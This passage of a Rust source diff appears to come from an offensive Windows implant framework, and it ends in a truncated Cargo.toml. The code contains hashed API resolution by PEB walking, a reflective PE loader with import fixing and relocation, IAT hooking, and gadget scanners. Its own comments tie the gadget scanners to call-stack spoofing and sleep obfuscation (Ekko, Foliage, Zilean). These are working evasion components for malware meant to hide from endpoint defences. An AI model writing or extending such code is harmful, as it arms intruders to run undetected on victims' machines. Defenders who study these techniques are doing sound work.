/// No-op stub when `debug-dbgprint` is disabled.
|
||||
#[cfg(not(feature = "debug-dbgprint"))]
|
||||
#[macro_export]
|
||||
macro_rules! dbg_print {
|
||||
($api:expr, $fmt:expr) => {{}};
|
||||
($api:expr, $fmt:expr, $($arg:expr),*) => {{}};
|
||||
}
|
||||
|
||||
/// DJB2 seed value.
|
||||
const DJB2_INIT: u32 = 5381;
|
||||
|
||||
/// Compute the case-insensitive DJB2 hash of a null-terminated ASCII string at runtime.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `string` - Pointer to a null-terminated byte string.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The 32-bit DJB2 hash with all characters uppercased before hashing.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `string` must point to a valid null-terminated byte sequence.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn hash_string(string: *const u8) -> u32 {
|
||||
let mut hash = DJB2_INIT;
|
||||
let mut ptr = string;
|
||||
|
||||
while *ptr != 0 {
|
||||
let mut byte = *ptr;
|
||||
|
||||
if byte >= b'a' {
|
||||
byte -= 0x20;
|
||||
}
|
||||
|
||||
hash = ((hash << 5).wrapping_add(hash)).wrapping_add(byte as u32);
|
||||
|
||||
ptr = ptr.add(1);
|
||||
}
|
||||
|
||||
hash
|
||||
}
|
||||
|
||||
/// Compute the case-insensitive DJB2 hash of a null-terminated wide (UTF-16) string.
|
||||
///
|
||||
/// Only the low byte of each `u16` character is hashed (sufficient for ASCII module
|
||||
/// and export names used in Windows).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `string` - Pointer to a null-terminated wide string.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The 32-bit DJB2 hash.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `string` must point to a valid null-terminated `u16` sequence.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn hash_string_wide(string: *const u16) -> u32 {
|
||||
let mut hash = DJB2_INIT;
|
||||
let mut ptr = string;
|
||||
|
||||
while *ptr != 0 {
|
||||
let mut byte = (*ptr & 0xFF) as u8;
|
||||
|
||||
if byte >= b'a' {
|
||||
byte -= 0x20;
|
||||
}
|
||||
|
||||
hash = ((hash << 5).wrapping_add(hash)).wrapping_add(byte as u32);
|
||||
|
||||
ptr = ptr.add(1);
|
||||
}
|
||||
|
||||
hash
|
||||
}
|
||||
|
||||
/// Compute the case-insensitive DJB2 hash of a `&str` at compile time.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `s` - The string slice to hash.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The 32-bit DJB2 hash with all characters uppercased.
|
||||
#[link_section = ".text$E"]
|
||||
pub const fn djb2_hash(s: &str) -> u32 {
|
||||
let bytes = s.as_bytes();
|
||||
let mut hash = DJB2_INIT;
|
||||
let mut i = 0;
|
||||
|
||||
while i < bytes.len() {
|
||||
let mut byte = bytes[i];
|
||||
|
||||
if byte >= b'a' {
|
||||
byte -= 0x20;
|
||||
}
|
||||
|
||||
hash = ((hash << 5).wrapping_add(hash)).wrapping_add(byte as u32);
|
||||
|
||||
i += 1;
|
||||
}
|
||||
|
||||
hash
|
||||
}
|
||||
|
||||
/// Zero `length` bytes starting at `memory`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `memory` - Start address to zero.
|
||||
/// * `length` - Number of bytes to clear.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// The caller must ensure `memory` is valid for `length` bytes.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn memzero(memory: *mut u8, length: u32) {
|
||||
for i in 0..length {
|
||||
*memory.offset(i as isize) = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/// Copy `length` bytes from `source` to `destination`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `destination` - Target buffer.
|
||||
/// * `source` - Source buffer.
|
||||
/// * `length` - Number of bytes to copy.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The `destination` pointer.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Both buffers must be valid for `length` bytes. Regions may overlap (forward copy).
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn memcopy(destination: *mut u8, source: *const u8, length: u32) -> *mut u8 {
|
||||
for i in 0..length {
|
||||
*destination.offset(i as isize) = *source.offset(i as isize);
|
||||
}
|
||||
destination
|
||||
}
|
||||
|
||||
/// Compare `length` bytes between two memory regions.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `memory1` - First buffer.
|
||||
/// * `memory2` - Second buffer.
|
||||
/// * `length` - Number of bytes to compare.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// `0` if equal, otherwise the difference of the first mismatched byte pair
|
||||
/// (cast to `u32`).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Both pointers must be valid for `length` bytes.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn memcmp(memory1: *const u8, memory2: *const u8, length: usize) -> u32 {
|
||||
let mut a = memory1;
|
||||
let mut b = memory2;
|
||||
let mut len = length;
|
||||
|
||||
while len > 0 {
|
||||
let val1 = *a;
|
||||
let val2 = *b;
|
||||
|
||||
if val1 != val2 {
|
||||
return (val1 as i32 - val2 as i32) as u32;
|
||||
}
|
||||
|
||||
a = a.offset(1);
|
||||
b = b.offset(1);
|
||||
len -= 1;
|
||||
}
|
||||
|
||||
0
|
||||
}
|
||||
|
||||
/// Find the first occurrence of `needle` in `haystack` (byte-level substring search).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `haystack` - The buffer to search in.
|
||||
/// * `needle` - The pattern to find.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// `Some(offset)` of the first match, or `None` if not found or `needle` is empty.
|
||||
#[link_section = ".text$E"]
|
||||
pub fn memmem(haystack: &[u8], needle: &[u8]) -> Option<usize> {
|
||||
let h_len = haystack.len();
|
||||
let n_len = needle.len();
|
||||
if n_len == 0 || n_len > h_len {
|
||||
return None;
|
||||
}
|
||||
|
||||
let h_ptr = haystack.as_ptr();
|
||||
let n_ptr = needle.as_ptr();
|
||||
|
||||
let mut i = 0usize;
|
||||
while i <= h_len - n_len {
|
||||
let mut j = 0usize;
|
||||
while j < n_len {
|
||||
if unsafe { *h_ptr.add(i + j) != *n_ptr.add(j) } {
|
||||
break;
|
||||
}
|
||||
j += 1;
|
||||
}
|
||||
if j == n_len {
|
||||
return Some(i);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Resolve a loaded DLL's base address by DJB2 hash of its name.
|
||||
///
|
||||
/// Walks the PEB `InLoadOrderModuleList` and compares each entry's `BaseDllName`
|
||||
/// against `library_hash`. If `library_hash` is 0, returns the first module
|
||||
/// (the executable itself via `OriginalBase`).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `library_hash` - DJB2 hash of the DLL name (e.g., `hash_str!("ntdll.dll")`),
|
||||
/// or 0 to get the first loaded module.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The module base address, or 0 if not found.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Requires a valid PEB. Must be called from user mode with the loader lock not held
|
||||
/// in a way that would deadlock.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn get_loaded_module_by_hash(library_hash: u32) -> usize {
|
||||
let peb = NtCurrentPeb();
|
||||
let ldr = (*peb).Ldr;
|
||||
let module_list = &(*ldr).InLoadOrderModuleList;
|
||||
|
||||
let mut result = 0;
|
||||
|
||||
range_head_list!(module_list, PLDR_DATA_TABLE_ENTRY, |current| {
|
||||
if library_hash == 0 {
|
||||
result = (*current).OriginalBase as usize;
|
||||
break;
|
||||
}
|
||||
|
||||
if hash_string_wide((*current).BaseDllName.Buffer) == library_hash {
|
||||
result = (*current).OriginalBase as usize;
|
||||
break;
|
||||
}
|
||||
});
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Resolve an exported function address by DJB2 hash from a PE module.
|
||||
///
|
||||
/// Parses the PE export directory, hashes each exported name, and returns the
|
||||
/// address of the matching function.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module_base` - Base address of the loaded PE module.
|
||||
/// * `symbol_hash` - DJB2 hash of the export name to find.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The resolved function address, or 0 if `module_base`/`symbol_hash` is 0,
|
||||
/// the PE headers are invalid, or no matching export is found.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `module_base` must point to a valid loaded PE image.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn get_export_by_hash(module_base: usize, symbol_hash: usize) -> usize {
|
||||
if module_base == 0 || symbol_hash == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let mut address = 0;
|
||||
|
||||
let dos_header = module_base as *mut IMAGE_DOS_HEADER;
|
||||
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let nt_headers = (module_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
|
||||
if (*nt_headers).Signature != IMAGE_NT_SIGNATURE {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let export_dir_rva =
|
||||
(*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
let export_dir = (module_base + export_dir_rva as usize) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||
|
||||
let names = (module_base + (*export_dir).AddressOfNames as usize) as *mut u32;
|
||||
let functions = (module_base + (*export_dir).AddressOfFunctions as usize) as *mut u32;
|
||||
let ordinals = (module_base + (*export_dir).AddressOfNameOrdinals as usize) as *mut u16;
|
||||
|
||||
for i in 0..(*export_dir).NumberOfNames {
|
||||
let name_rva = *names.offset(i as isize);
|
||||
let name = (module_base + name_rva as usize) as *const u8;
|
||||
|
||||
if hash_string(name) == symbol_hash as u32 {
|
||||
let ordinal = *ordinals.offset(i as isize) as isize;
|
||||
let function_rva = *functions.offset(ordinal);
|
||||
address = module_base + function_rva as usize;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
address
|
||||
}
|
||||
|
||||
/// Generic typed wrapper around [`get_export_by_hash`].
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module_base` - Base address of the loaded PE module.
|
||||
/// * `symbol_hash` - DJB2 hash of the export name.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A typed pointer to the resolved export, or null if not found.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Same requirements as [`get_export_by_hash`]. The caller must ensure `T` matches
|
||||
/// the actual export's signature.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn api<T>(module_base: usize, symbol_hash: usize) -> *mut T {
|
||||
get_export_by_hash(module_base, symbol_hash) as *mut T
|
||||
}
|
||||
|
||||
/// Get the `SizeOfImage` from a PE module's NT optional header.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `base` - Base address of the loaded PE module.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// `SizeOfImage` in bytes, or 0 if `base` is 0 or the PE headers are invalid.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `base` must point to a valid loaded PE image (or be 0).
|
||||
#[inline(always)]
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn module_size(base: usize) -> ULONG {
|
||||
if base == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let dos = base as *const IMAGE_DOS_HEADER;
|
||||
if (*dos).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let nt = (base + (*dos).e_lfanew as usize) as *const IMAGE_NT_HEADERS;
|
||||
if (*nt).Signature != IMAGE_NT_SIGNATURE {
|
||||
return 0;
|
||||
}
|
||||
|
||||
(*nt).OptionalHeader.SizeOfImage
|
||||
}
|
||||
|
||||
/// Resolve all imports in a PE image's import directory.
|
||||
///
|
||||
/// Walks the `IMAGE_IMPORT_DESCRIPTOR` array, loads each referenced DLL via
|
||||
/// `LdrLoadDll`, and patches the IAT (`FirstThunk`) entries with resolved
|
||||
/// addresses from `LdrGetProcedureAddress`. Supports both ordinal and name imports.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (needs ntdll string/loader functions).
|
||||
/// * `image` - Base address of the PE image in memory.
|
||||
/// * `directory` - Pointer to the start of the import directory
|
||||
/// (`IMAGE_DIRECTORY_ENTRY_IMPORT` RVA resolved to VA).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// `Some(true)` on success. Does not currently return `None` on individual
|
||||
/// import failures - partially resolved images are possible.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `image` and `directory` must point to a valid mapped PE. The `api` ntdll
|
||||
/// function pointers for string and loader operations must be resolved.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn resolve_imports(
|
||||
api: &mut crate::api::Api,
|
||||
image: *mut u8,
|
||||
directory: *mut u8,
|
||||
) -> Option<bool> {
|
||||
let mut imp = directory as *mut IMAGE_IMPORT_DESCRIPTOR;
|
||||
|
||||
while (*imp).Name != 0 {
|
||||
let mut ansi_string: STRING = core::mem::zeroed();
|
||||
let mut unicode_string: UNICODE_STRING = core::mem::zeroed();
|
||||
let mut module_handle: HANDLE = null_mut();
|
||||
|
||||
let dll_name = (image as usize + (*imp).Name as usize) as *const i8;
|
||||
api.ntdll.RtlInitAnsiString(&mut ansi_string, dll_name);
|
||||
|
||||
if NT_SUCCESS!(api.ntdll.RtlAnsiStringToUnicodeString(
|
||||
&mut unicode_string,
|
||||
&mut ansi_string,
|
||||
1 as BOOLEAN
|
||||
)) {
|
||||
if NT_SUCCESS!(api.ntdll.LdrLoadDll(
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
&mut unicode_string,
|
||||
&mut module_handle as *mut HANDLE as *mut PVOID
|
||||
)) {
|
||||
let mut otd = (image as usize + (*imp).u.OriginalFirstThunk as usize)
|
||||
as *mut IMAGE_THUNK_DATA;
|
||||
let mut ntd =
|
||||
(image as usize + (*imp).FirstThunk as usize) as *mut IMAGE_THUNK_DATA;
|
||||
|
||||
while (*otd).u1.AddressOfData != 0 {
|
||||
let mut function: PVOID = null_mut();
|
||||
|
||||
if IMAGE_SNAP_BY_ORDINAL((*otd).u1.Ordinal) {
|
||||
let ordinal = IMAGE_ORDINAL((*otd).u1.Ordinal) as u32;
|
||||
if NT_SUCCESS!(api.ntdll.LdrGetProcedureAddress(
|
||||
module_handle,
|
||||
null_mut(),
|
||||
ordinal,
|
||||
&mut function
|
||||
)) {
|
||||
(*ntd).u1.Function = function as u64;
|
||||
}
|
||||
} else {
|
||||
let ibn = (image as usize + (*otd).u1.AddressOfData as usize)
|
||||
as *mut IMAGE_IMPORT_BY_NAME;
|
||||
api.ntdll
|
||||
.RtlInitAnsiString(&mut ansi_string, (*ibn).Name.as_ptr() as *const i8);
|
||||
|
||||
if NT_SUCCESS!(api.ntdll.LdrGetProcedureAddress(
|
||||
module_handle,
|
||||
&mut ansi_string,
|
||||
0,
|
||||
&mut function
|
||||
)) {
|
||||
(*ntd).u1.Function = function as u64;
|
||||
}
|
||||
}
|
||||
|
||||
otd = otd.add(1);
|
||||
ntd = ntd.add(1);
|
||||
}
|
||||
}
|
||||
|
||||
api.ntdll.RtlFreeUnicodeString(&mut unicode_string);
|
||||
}
|
||||
|
||||
imp = imp.add(1);
|
||||
}
|
||||
|
||||
return Some(true);
|
||||
}
|
||||
|
||||
/// Replace an IAT entry with a hook function by matching the import's DJB2 hash.
|
||||
///
|
||||
/// Walks the import directory and patches the `FirstThunk` entry whose
|
||||
/// `IMAGE_IMPORT_BY_NAME` name matches `function_hash`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `image` - Base address of the PE image.
|
||||
/// * `directory` - Pointer to the import directory.
|
||||
/// * `function_hash` - DJB2 hash of the target import name to hook.
|
||||
/// * `hook_function` - Replacement function pointer to write into the IAT.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `image` and `directory` must point to a valid mapped PE. The IAT page must
|
||||
/// be writable (or made writable beforehand).
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn hook_iat(
|
||||
image: *mut u8,
|
||||
directory: *mut u8,
|
||||
function_hash: u32,
|
||||
hook_function: *mut u8,
|
||||
) {
|
||||
let mut imp = directory as *mut IMAGE_IMPORT_DESCRIPTOR;
|
||||
|
||||
while (*imp).Name != 0 {
|
||||
let mut otd =
|
||||
(image as usize + (*imp).u.OriginalFirstThunk as usize) as *mut IMAGE_THUNK_DATA;
|
||||
let mut ntd = (image as usize + (*imp).FirstThunk as usize) as *mut IMAGE_THUNK_DATA;
|
||||
|
||||
while (*otd).u1.AddressOfData != 0 {
|
||||
if !IMAGE_SNAP_BY_ORDINAL((*otd).u1.Ordinal) {
|
||||
let ibn = (image as usize + (*otd).u1.AddressOfData as usize)
|
||||
as *mut IMAGE_IMPORT_BY_NAME;
|
||||
let name_addr = (*ibn).Name.as_ptr() as *const u8;
|
||||
|
||||
if function_hash == hash_string(name_addr) {
|
||||
(*ntd).u1.Function = hook_function as u64;
|
||||
}
|
||||
}
|
||||
|
||||
otd = otd.add(1);
|
||||
ntd = ntd.add(1);
|
||||
}
|
||||
|
||||
imp = imp.add(1);
|
||||
}
|
||||
}
|
||||
|
||||
/// Apply base relocations to a PE image loaded at a non-preferred address.
|
||||
///
|
||||
/// Processes `IMAGE_BASE_RELOCATION` blocks and adjusts `DIR64` (8-byte) and
|
||||
/// `HIGHLOW` (4-byte) fixups by the delta between the actual and preferred base.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `image` - Actual base address of the loaded PE image.
|
||||
/// * `directory` - Pointer to the relocation directory
|
||||
/// (`IMAGE_DIRECTORY_ENTRY_BASERELOC` RVA resolved to VA).
|
||||
/// * `image_base` - Preferred base address from the PE optional header.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The number of relocations applied.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `image` and `directory` must point to a valid mapped PE with writable relocation
|
||||
/// target pages.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn rebase_image(image: *mut u8, directory: *mut u8, image_base: *mut u8) -> u32 {
|
||||
let offset = image as isize - image_base as isize;
|
||||
|
||||
let mut ibr = directory as *mut IMAGE_BASE_RELOCATION;
|
||||
|
||||
let mut reloc_count = 0u32;
|
||||
|
||||
while (*ibr).VirtualAddress != 0 {
|
||||
let mut rel =
|
||||
(ibr as usize + core::mem::size_of::<IMAGE_BASE_RELOCATION>()) as *mut IMAGE_RELOC;
|
||||
let block_end = (ibr as usize + (*ibr).SizeOfBlock as usize) as *mut IMAGE_RELOC;
|
||||
|
||||
while rel < block_end {
|
||||
match (*rel).reloc_type() as u32 {
|
||||
IMAGE_REL_BASED_DIR64 => {
|
||||
let target = (image as usize
|
||||
+ (*ibr).VirtualAddress as usize
|
||||
+ (*rel).offset() as usize) as *mut u64;
|
||||
*target = ((*target as isize) + offset) as u64;
|
||||
reloc_count += 1;
|
||||
}
|
||||
IMAGE_REL_BASED_HIGHLOW => {
|
||||
let target = (image as usize
|
||||
+ (*ibr).VirtualAddress as usize
|
||||
+ (*rel).offset() as usize) as *mut u32;
|
||||
*target = ((*target as isize) + offset) as u32;
|
||||
reloc_count += 1;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
rel = rel.add(1);
|
||||
}
|
||||
|
||||
ibr = rel as *mut IMAGE_BASE_RELOCATION;
|
||||
}
|
||||
|
||||
reloc_count
|
||||
}
|
||||
|
||||
/// Scan a module's memory for a `jmp [rbx]` gadget (`0xFF 0x23`).
|
||||
///
|
||||
/// Used by sleep obfuscation to find an indirect jump gadget for call-stack spoofing.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module` - Base address of the module to scan.
|
||||
/// * `size` - Size of the module in bytes.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Pointer to the gadget, or null if not found.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `module` must point to a readable memory region of at least `size` bytes.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn find_gadget(module: *mut u8, size: ULONG) -> *mut c_void {
|
||||
if module.is_null() || size == 0 {
|
||||
return core::ptr::null_mut();
|
||||
}
|
||||
|
||||
for x in 0..size {
|
||||
let byte1 = *module.add(x as usize);
|
||||
let byte2 = *module.add(x as usize + 1);
|
||||
|
||||
// 0xFF 0x23 = jmp [rbx]
|
||||
if byte1 == 0xFF && byte2 == 0x23 {
|
||||
let gadget = module.add(x as usize) as *mut c_void;
|
||||
if !gadget.is_null() && (gadget as usize) >= 0x10000 {
|
||||
return gadget;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
core::ptr::null_mut()
|
||||
}
|
||||
|
||||
/// Scan a module for the `call [NtTestAlert]` gadget pattern used in APC call-stack
|
||||
/// spoofing (Foliage).
|
||||
///
|
||||
/// Searches for a 13-byte pattern:
|
||||
/// ```text
|
||||
/// 48 83 EC 28 sub rsp, 0x28
|
||||
/// F7 41 04 test dword ptr [rcx+4], ...
|
||||
/// 66 00 00 00 (imm16 operand)
|
||||
/// 74 05 jz +5
|
||||
/// ```
|
||||
/// The gadget address is the instruction at offset `0xD` after the pattern match.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module` - Base address of the module to scan.
|
||||
/// * `size` - Size of the module in bytes.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Pointer to the gadget (at pattern + 0xD), or null if not found.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `module` must point to a readable memory region of at least `size` bytes.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn find_call_nttestalert_gadget(module: *mut u8, size: ULONG) -> *mut c_void {
|
||||
if module.is_null() || size < 13 {
|
||||
return core::ptr::null_mut();
|
||||
}
|
||||
|
||||
let pattern: [u8; 13] = [
|
||||
0x48, 0x83, 0xEC, 0x28, 0xF7, 0x41, 0x04, 0x66, 0x00, 0x00, 0x00, 0x74, 0x05,
|
||||
];
|
||||
|
||||
for x in 0..(size - 13) {
|
||||
let mut found = true;
|
||||
for i in 0..13 {
|
||||
if *module.add(x as usize + i) != pattern[i] {
|
||||
found = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if found {
|
||||
let gadget = module.add(x as usize + 0xd) as *mut c_void;
|
||||
if !gadget.is_null() && (gadget as usize) >= 0x10000 {
|
||||
return gadget;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
core::ptr::null_mut()
|
||||
}
|
||||
|
||||
/// Convert PE section characteristics flags to a Windows page protection constant.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `characteristics` - Combination of `IMAGE_SCN_MEM_EXECUTE`, `IMAGE_SCN_MEM_READ`,
|
||||
/// and `IMAGE_SCN_MEM_WRITE` flags from a PE section header.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The corresponding `PAGE_*` protection constant (e.g., `PAGE_EXECUTE_READ`).
|
||||
/// Falls back to `PAGE_NOACCESS` for unrecognized combinations.
|
||||
#[link_section = ".text$E"]
|
||||
pub fn section_characteristics_to_protect(characteristics: DWORD) -> DWORD {
|
||||
let executable = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
||||
let readable = (characteristics & IMAGE_SCN_MEM_READ) != 0;
|
||||
let writable = (characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
||||
|
||||
match (executable, readable, writable) {
|
||||
(true, true, true) => PAGE_EXECUTE_READWRITE,
|
||||
(true, true, false) => PAGE_EXECUTE_READ,
|
||||
(true, false, false) => PAGE_EXECUTE,
|
||||
(false, true, true) => PAGE_READWRITE,
|
||||
(false, true, false) => PAGE_READONLY,
|
||||
_ => PAGE_NOACCESS,
|
||||
}
|
||||
}
|
||||
|
||||
/// Check whether a page protection value includes write access.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `protection` - A `PAGE_*` constant.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// `true` if the protection allows writing (`PAGE_READWRITE`, `PAGE_WRITECOPY`,
|
||||
/// `PAGE_EXECUTE_READWRITE`, or `PAGE_EXECUTE_WRITECOPY`).
|
||||
#[link_section = ".text$E"]
|
||||
pub fn is_writable(protection: u32) -> bool {
|
||||
protection == PAGE_EXECUTE_READWRITE
|
||||
|| protection == PAGE_EXECUTE_WRITECOPY
|
||||
|| protection == PAGE_READWRITE
|
||||
|| protection == PAGE_WRITECOPY
|
||||
}
|
||||
|
||||
/// Change a memory section's protection to `PAGE_READWRITE` if not already writable.
|
||||
///
|
||||
/// Saves the previous protection in `section.previous_protect` for later restoration
|
||||
/// via [`restore_section_protection`].
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (needs `kernel32.VirtualProtect`).
|
||||
/// * `section` - The memory section to make writable.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `section` must describe a valid mapped memory region.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn make_section_writable(api: &mut crate::api::Api, section: &mut MemorySection) {
|
||||
if !is_writable(section.current_protect) {
|
||||
let mut old_protect = 0u32;
|
||||
let result = api.kernel32.VirtualProtect(
|
||||
section.base_address,
|
||||
section.size,
|
||||
PAGE_READWRITE,
|
||||
&mut old_protect,
|
||||
);
|
||||
if result != 0 {
|
||||
section.previous_protect = old_protect;
|
||||
section.current_protect = PAGE_READWRITE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Restore a memory section's protection to its `previous_protect` value.
|
||||
///
|
||||
/// Counterpart to [`make_section_writable`].
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (needs `kernel32.VirtualProtect`).
|
||||
/// * `section` - The memory section whose protection to restore.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `section` must describe a valid mapped memory region and `previous_protect`
|
||||
/// must have been set by a prior call to [`make_section_writable`].
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn restore_section_protection(api: &mut crate::api::Api, section: &mut MemorySection) {
|
||||
if section.current_protect != section.previous_protect {
|
||||
let mut old_protect = 0u32;
|
||||
let result = api.kernel32.VirtualProtect(
|
||||
section.base_address,
|
||||
section.size,
|
||||
section.previous_protect,
|
||||
&mut old_protect,
|
||||
);
|
||||
if result != 0 {
|
||||
section.current_protect = section.previous_protect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Make all tracked memory sections writable (batch version of [`make_section_writable`]).
|
||||
///
|
||||
/// Iterates `api.sleep.sections[0..num_sections]` (capped at 20).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers and sleep context with section list.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// All section entries must describe valid mapped memory regions.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn make_sections_writable(api: &mut crate::api::Api) {
|
||||
for i in 0..api.sleep.num_sections.min(20) {
|
||||
let section_ptr = &mut api.sleep.sections[i] as *mut MemorySection;
|
||||
make_section_writable(api, &mut *section_ptr);
|
||||
}
|
||||
}
|
||||
|
||||
/// Restore all tracked memory sections to their original protections (batch version
|
||||
/// of [`restore_section_protection`]).
|
||||
///
|
||||
/// Iterates `api.sleep.sections[0..num_sections]` (capped at 20).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers and sleep context with section list.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// All section entries must describe valid mapped memory regions with valid
|
||||
/// `previous_protect` values.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn restore_section_protections(api: &mut crate::api::Api) {
|
||||
for i in 0..api.sleep.num_sections.min(20) {
|
||||
let section_ptr = &mut api.sleep.sections[i] as *mut MemorySection;
|
||||
restore_section_protection(api, &mut *section_ptr);
|
||||
}
|
||||
}
|
||||
|
||||
/// Mark all tracked sections as having a specific protection in the tracking fields.
|
||||
///
|
||||
/// This does **not** call `VirtualProtect` - it only updates `current_protect` so
|
||||
/// that a subsequent [`restore_section_protections`] call sees the correct mismatch
|
||||
/// and issues the real `VirtualProtect` calls.
|
||||
///
|
||||
/// Typical use: after an NtContinue chain flips the entire buffer to
|
||||
/// `PAGE_EXECUTE_READ`, call this with `protect = PAGE_EXECUTE_READ` to sync
|
||||
/// tracking before restoring per-section permissions.
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn mark_sections_protect(api: &mut crate::api::Api, protect: u32) {
|
||||
for i in 0..api.sleep.num_sections.min(20) {
|
||||
api.sleep.sections[i].current_protect = protect;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub use ntdef::windows::*;
|
||||
@@ -0,0 +1,21 @@
|
||||
[package]
|
||||
name = "example"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
hypnus = { path = "../hypnus" }
|
||||
uwd = { path = "../uwd" }
|
||||
api = { path = "../api" }
|
||||
|
||||
[features]
|
||||
default = ["sleep-ekko", "sleep-foliage", "sleep-zilean", "spoof-uwd", "debug-console"]
|
||||
sleep-ekko = ["hypnus/sleep-ekko"]
|
||||
sleep-foliage = ["hypnus/sleep-foliage"]
|
||||
